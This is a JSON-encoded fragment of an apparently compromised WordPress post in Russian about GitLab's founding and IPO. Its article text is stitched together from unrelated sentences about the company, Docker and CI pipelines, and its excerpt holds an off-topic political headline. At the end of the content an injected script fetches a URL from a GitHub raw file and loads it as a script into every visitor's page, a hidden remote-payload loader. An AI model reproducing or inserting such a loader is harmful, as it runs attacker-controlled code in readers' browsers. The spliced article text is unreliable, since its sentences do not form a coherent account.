Lm8+IdSrGecNxhGLz3rRvwRkRvqZKmWKZ8LoADytBJe8\/wFvtWPQhrqqvHNyB0cR5rXt5X+5O0U7ZzUxRycwvy80hIBPW2yinjLaieTyvDtY0\/6Nr6\/aq6XR\/iNS2nThBw5pU2uymsZTaUdNPV95dW6U8Jo3NOpOopuEKqeOZxfNrFZl9WXqsbY2wZNJBBRUbvBvMoDXSuf\/SkOpJ9KfA6ONlOyWQh1RUNa+WS3lEjb0DuT0sHJI+zgWGzg239LqR6dE7cPLYW08U72MYOVvK8ghvctfya+turhWo9bTpyls19eezN5evg8nLfSDhl7KvVtrlUatWFPlbT\/pqL+qEWllJ7rBOCyyT0EU89jLIxpcQLa9V6cW5WHSUjaQeDjsI2gBg1JssuPqvrui9tWs+GwoV4ckk5afy3\/wBnn3Ti8tuIcZqXNpU6yElHXXuik99d0Wpm7JUw2X0KPjWMzygrFWzygrExTMsbsmVZkaxu+vcqXSGQ+MnjBtmWTwWum15Wbd6Q63J3SjdN0K0xXKZJSbyd04ZAfmRh3pn++ehHDH5j4d6Z\/vnoXBqt878zoxnhI+Msc\/XeID\/zc387lhLWcU4zcLarEquqiznT8k88kjb0dWNC4kf9D51jfG\/wx+mVN9Tq\/cqtcQteX\/cXqet9fS+43Fqa5tYaLTRxf4Yj9s6b6nV+5U\/HBww+mdN9Tq\/co+YWv9xepHX0vuN4gqiyzZLuHf1WY1zXNDmkEHqud\/HBww+mdN9Tq\/cqyLjLwyiJIzpTG+96Or9yld9a\/evUSVal9x0FMNlozeNnCq3jZzgv+5VfuUw428KLfPSD6jV+5SfHW33r1E66n4m8DdOtF+O7hR9NIPqNX7lT8d\/Cj6aQfUaz3Kj462f70LKrDxN5SPPRaT8d\/Cn6aQfUaz3KV3G7hST89IPqNX7lSr+2W016iddDxN0LeYEFUPbymxC1D47OFX00g+o1fuVD+NXClzbDOcF\/3Gr9yp+Pt\/7i9RXVh4m4DZS3daT8dHCwaDOlP9SrPcqRxp4WD9s6f6nV+5R8dbfevUV1I7ZN3Xo5dxqoy7jVJjlNFHJLRyCRrH35XdLG3pXOfjp4V\/TSn+pVnuUDjTwr+mlP9SrPcqm6q2N7QlbV5Jwkmms7p9xEK\/VTVSm8NbHRcbxapx7F63GqxrGzVs753tZ5LS43sPRsvPeOq0v46uFf00p\/qVZ7lQeNPCs\/tpT\/AFKs9ymoXNnbU40aUkoxSSWe5aJFc6rqScpvVm6N2Vi0b46eFg\/bOn+pVnuU3x18K\/ppT\/Uaz3Kt+Otu6a9SmckbuhaR8dfCv6aU\/wBRrPco+OvhX9NKf6jWe5Uq\/tvvRWzeRshaQONvCq3zzg+o1nuUfHbwq+mkH1Gs9ymfELb+4vUTDN4G6uZ5K0EcbeFPXOcH1Gs9yrG8cOFAFjnSD6jWe5R8fa\/eiJLJvsYu8EdFkNXPmcc+ErTf89IfqNZ7lWDjvwkH7aQ\/Uaz3KPj7X70VcjRv7d0y0AceOEgOudIfqFZ7lT8fPCP6aw\/UKz3KZcQtd+dC8ktsHQGJz1XPm8e+ETf2zi+o1nuVJ4+cIT+2kX1Cr9yj4+1+9epXKnJvODoLb2sFlQsDde9c5h4\/cHmanOsR\/wDsKz3KtHaE4ODfOsf1Cs9ym+PtVr1i9Sl0pvZHS4zyuHnWW3cLlY7Q3B3Q\/nrHp\/q+s90spvaO4Mi186N9n1fukPiNq96i9SidvUfcdPVkW5XMPlI8Fxqc6N9n1fukzO0pwVbe+dB7Pq\/dJlxG1f8AyL1M0rWt3RZ1FMNlzAdpXgp9NW+z6z3KB2luCg\/bVvs6r90p+Y2q\/wCRepU7Sv8AazqLdHBQ+fdrPWVy1\/aV4LnRudR6Th1Z7pKztJcFgfnq31YfWe6VseI2ffUXqUTtLlvSm\/Q6gDrqSVI39a5gO0nwV+mrfZ1Z7pMO0rwUH7at9n1nuVcuJ2X9xepmlYXT2pv0OojdN0K5cO0twUv89m+z6v3SY9pfgl9NR7Oq\/dKfmln\/AHV6lD4bdP8A436H2JwxafzHw70z\/fPQuG5J7bXZvwLLNHhWIZ6nbUQmXnDMIrHDxpHOFj4LuIQuXK7tHJvrF6nQVjWx\/ts\/Ly5RcoQvgz7ALlFyhCAC5QhCAC5Rc96EIAEXKEIALlFyhCAC6EIQAIQhABc96LlCEACEIQAIQhAAhCEAFz3ouhCABCEIAEXKEIAEXKEIALnzfwRdCEAFyi5QhABcouUIQAIuhCADmPei570IQAXPei570IQAXKnmPeoQgAue9Fz3oQgAuUIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIAEIQgAQhCABCEIA\/\/9k=\" width=\"309px\" alt=\"gitlab \u044d\u0442\u043e\"\/><\/p>\n<p>\u041a\u0430\u043f\u0438\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0441\u0442\u0430\u0440\u0442\u0430\u043f\u0430 \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u0430 14,9 \u043c\u043b\u0440\u0434 \u0434\u043e\u043b\u043b. C\u043e\u0443\u0447\u0440\u0435\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0445\u0430\u0440\u044c\u043a\u043e\u0432\u0447\u0430\u043d\u0438\u043d \u0414\u043c\u0438\u0442\u0440\u0438\u0439 \u0417\u0430\u043f\u043e\u0440\u043e\u0436\u0435\u0446. \u0417\u0430\u043f\u043e\u0440\u043e\u0436\u0435\u0446 \u2013 \u0432\u044b\u043f\u0443\u0441\u043a\u043d\u0438\u043a \u0425\u0430\u0440\u044c\u043a\u043e\u0432\u0441\u043a\u043e\u0433\u043e \u0430\u0432\u0442\u043e\u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0438 \u0442\u0430\u043b\u0430\u043d\u0442\u043b\u0438\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442-\u0441\u0430\u043c\u043e\u0443\u0447\u043a\u0430 \u2013 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u043f\u0435\u0440\u0432\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043e\u0441\u0435\u043d\u044c\u044e 2011 \u0433\u043e\u0434\u0430. \u041d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 \u043a\u043e\u043b\u043b\u0435\u0433\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u043e\u0439 \u0445\u0430\u0440\u044c\u043a\u043e\u0432\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Sphere Software.<\/p>\n<h2 id=\"toc-3\">GitLab \u043b\u0438\u0448\u0438\u043b\u0441\u044f \u0433\u043b\u0430\u0432\u043d\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0442\u0435\u043b\u044f. \u0421\u043e\u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0417\u0430\u043f\u043e\u0440\u043e\u0436\u0435\u0446 \u0443\u0432\u043e\u043b\u044c\u043d\u044f\u0435\u0442\u0441\u044f, \u0441\u043e\u0437\u0434\u0430\u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043d\u0430 $18 \u043c\u043b\u0440\u0434<\/h2>\n<p>\u0412 \u043f\u0435\u0440\u0432\u044b\u0439 \u0436\u0435 \u0434\u0435\u043d\u044c \u043d\u0430 \u0431\u0438\u0440\u0436\u0435 Nasdaq, 14 \u043e\u043a\u0442\u044f\u0431\u0440\u044f, \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u043a\u0446\u0438\u0439 GitLab \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0441 $77 \u0434\u043e $105 \u0437\u0430 \u0448\u0442\u0443\u043a\u0443. \u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438, \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0441\u0435\u0442\u044c \u0432 Docker \u0432\u0440\u0443\u0447\u043d\u0443\u044e. \u0412 Docker-compose \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u043b\u0438 \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0442\u0430\u043a\u0443\u044e \u0441\u0435\u0442\u044c. \u041a\u0430\u043a\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u043c\u044b \u0440\u0435\u0448\u0430\u043b\u0438 \u043d\u0430 staging \u043a\u043e\u0433\u0434\u0430 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 docker? \u041d\u0430\u0448\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0438 \u0443 \u043d\u0430\u0441 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c, \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438, \u0430 \u043d\u0435 \u0432\u0441\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0446\u0435\u043b\u0438\u043a\u043e\u043c. \u0415\u0441\u043b\u0438 \u043c\u044b \u043a\u043b\u0438\u043a\u043d\u0435\u043c \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0431\u0438\u043b\u0434, \u0442\u043e \u0442\u0430\u043c \u0431\u0443\u0434\u0435\u0442 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u043a\u043e\u043c\u0430\u043d\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e .gitlab-ci.yml.<\/p>\n<h2 id=\"toc-4\">\u0412\u0456\u0434\u043c\u0456\u043d\u043d\u043e\u0441\u0442\u0456 GitHub \u0442\u0430 GitLab<\/h2>\n<p>\u0415\u0441\u0442\u044c README.md, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043a\u0440\u0430\u0442\u043a\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u043a\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442. \u041c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0434\u043b\u044f \u043e\u0442\u0434\u0430\u0447\u0438 \u0441\u0442\u0430\u0442\u0438\u043a\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u0440\u0435\u0442\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0441 nginx. Backend \u043a\u043b\u0430\u0434\u0435\u0442 \u0438\u0445 \u0432 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0442\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0430\u043a \u0436\u0435 \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0441 nginx, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0434\u0430\u0451\u0442 \u0441\u0442\u0430\u0442\u0438\u043a\u0443. \u0414\u0430\u043b\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u043f\u043e \u0441\u0431\u043e\u0440\u043a\u0435 JavaScipt \u0438 \u043a\u043e\u0434, \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0432 \u0441\u0442\u0430\u0442\u0438\u043a\u0443, \u043e\u0442\u0434\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 nginx \u044d\u043a\u043e\u043d\u043e\u043c\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u044b.<\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043a\u0430\u0436\u0434\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442 \u0441 \u044d\u0442\u043e\u0439 \u0441\u0435\u0442\u043a\u043e\u0439 \u0432\u0438\u0434\u0438\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u0447\u0430\u0441\u0442\u044f\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u041a\u0430\u043a \u044d\u0442\u043e \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432 Gitlab \u0432 web-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435. \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043b\u0438 GItlab CI \u0443 \u043d\u0430\u0441 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u043b\u0430\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432 \u043a\u0430\u043a\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0431\u0438\u043b\u0434 \u043d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442. \u041e\u043d\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u0432 \u043c\u0438\u0440\u0435 Golang, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u0440\u043e\u0433\u043e\u043d\u044f\u0435\u043c \u0443\u0436\u0435 \u0434\u043b\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438 \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438. \u0415\u0441\u043b\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0438 \u043d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043a\u043e\u0434 \u043e\u0448\u0438\u0431\u043a\u0438, \u0442\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u043a\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u0442\u0430\u0434\u0438\u0438 \u0434\u0435\u043f\u043b\u043e\u044f.<\/p>\n<p>\u0421\u0435\u0439\u0447\u0430\u0441 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0433\u043e\u0442\u043e\u0432\u0438\u0442\u0441\u044f \u043a IPO, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u043a \u043d\u043e\u044f\u0431\u0440\u044e 2020 \u0433\u043e\u0434\u0430. \u041c\u044b \u0435\u0449\u0435 \u0440\u0430\u0437 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u043c \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435 \u0443\u0442\u0440\u0430\u0442\u0438\u043b\u0430 \u0441\u0432\u043e\u0435\u0439 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438. \u041c\u043e\u0434\u0443\u043b\u044c GitLab Confidential Issues \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0438\u0434\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0441 \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Reporter \u0438\u043b\u0438 \u0432\u044b\u0448\u0435. \u041d\u0430\u0436\u043c\u0438\u0442\u0435 \u00ab\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0437 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u00bb, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u0442\u044f\u043d\u0443\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0437 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u041d\u0430\u0436\u043c\u0438\u0442\u0435 \u00abDeploy HEAD Commit\u00bb, \u0435\u0441\u043b\u0438 \u0432 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0432\u0441\u0451 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0432 \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0438 \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043a\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0440\u0430\u0431\u043e\u0447\u0443\u044e \u0441\u0440\u0435\u0434\u0443.<\/p>\n<p>\u0412 GitLab \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 1300 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u0438\u0437 65 \u0441\u0442\u0440\u0430\u043d. \u041e\u043d \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u0431\u0443\u0434\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u042d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043d\u043e \u0434\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u0438\u043c\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u043e. \u041a\u043e\u0433\u0434\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 \u044f\u0434\u0440\u043e\u043c, \u0435\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u044b Push-\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u0442\u043e \u043e\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u043e docker-compose \u0444\u0430\u0439\u043b \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0440\u0435\u0441\u0443\u0440\u0441 \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0442\u0441\u044f.<\/p>\n<p>\u042d\u0442\u043e \u043f\u043e\u0434 \u0441\u0438\u043b\u0443 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438  \u043b\u044e\u0431\u043e\u043c\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0443, \u0431\u0443\u0434\u044c \u043b\u0438\u0448\u044c \u0436\u0435\u043b\u0430\u043d\u0438\u0435. \u0412\u043e\u0442 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0442\u0430\u043a \u0438\u0437 \u0423\u043a\u0440\u0430\u0438\u043d\u044b \u0432 \u0415\u0432\u0440\u043e\u043f\u0435 200\u043a+ \u043d\u0430\u0448\u0435\u043b \u0431\u0443\u0434\u0443\u0447\u0438 \u043e\u0431\u044b\u0447\u043d\u044b\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \u0438 \u0434\u0430\u0436\u0435 \u043d\u0435 \u0441\u0438\u043d\u044c\u043e\u0440\u043e\u043c. \u042d\u0442\u043e \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043d\u0435 \u0432\u0435\u043a\u0441\u0435\u043b\u044c \u043e\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432, \u0435\u0441\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u0438\u043b\u0438 \u043f\u043e\u043a\u0443\u043f\u0430\u0435\u0442\u0441\u044f, \u0442\u043e \u0442\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0448\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043a\u0443\u043f\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0434\u043e\u043b\u044e, \u043f\u0440\u043e\u0434\u0430\u0442\u044c \u0435\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0434\u0435\u043d\u044c\u0433\u0438.<\/p>\n<p> (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)<\/p>\n","protected":false},"excerpt":{"rendered":"\u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u042f\u043a \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0432\u0430\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u0456 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0456\u0457 Gitlab \u0434\u043b\u044f Composer \u041e\u0431\u00a0\u043e\u043f\u0446\u0438\u043e\u043d\u0430\u0445 \u0432\u00a0GitLab \u041f\u0443\u0442\u0438\u043d \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 \u043c\u0438\u0440\u043d\u044b\u0439 \u043f\u043b\u0430\u043d: \u0447\u0442\u043e \u0436\u0434\u0430\u0442\u044c \u0423\u043a\u0440\u0430\u0438\u043d\u0435 GitLab \u043b\u0438\u0448\u0438\u043b\u0441\u044f \u0433\u043b\u0430\u0432\u043d\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0442\u0435\u043b\u044f. \u0421\u043e\u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0417\u0430\u043f\u043e\u0440\u043e\u0436\u0435\u0446 \u0443\u0432\u043e\u043b\u044c\u043d\u044f\u0435\u0442\u0441\u044f, \u0441\u043e\u0437\u0434\u0430\u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043d\u0430 $18 \u043c\u043b\u0440\u0434 \u0412\u0456\u0434\u043c\u0456\u043d\u043d\u043e\u0441\u0442\u0456 GitHub \u0442\u0430 GitLab GitLab Outlook \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0430\u0435\u0442 \u0442\u0440\u0435\u0442\u044c \u0430\u043a\u0446\u0438\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0428\u0430\u0433 3: \u0418\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0439\u0442\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 \u0412\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e GitHub \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 <a href=\"https:\/\/oncillalabs.com\/FOTD2023\/Design\/v5\/startap-gitlab-sozdannyj-ukraincami-vyshel-na-ipo\/\" class=\"more-link\">&#8230;<span class=\"screen-reader-text\">  \u0421\u0442\u0430\u0440\u0442\u0430\u043f 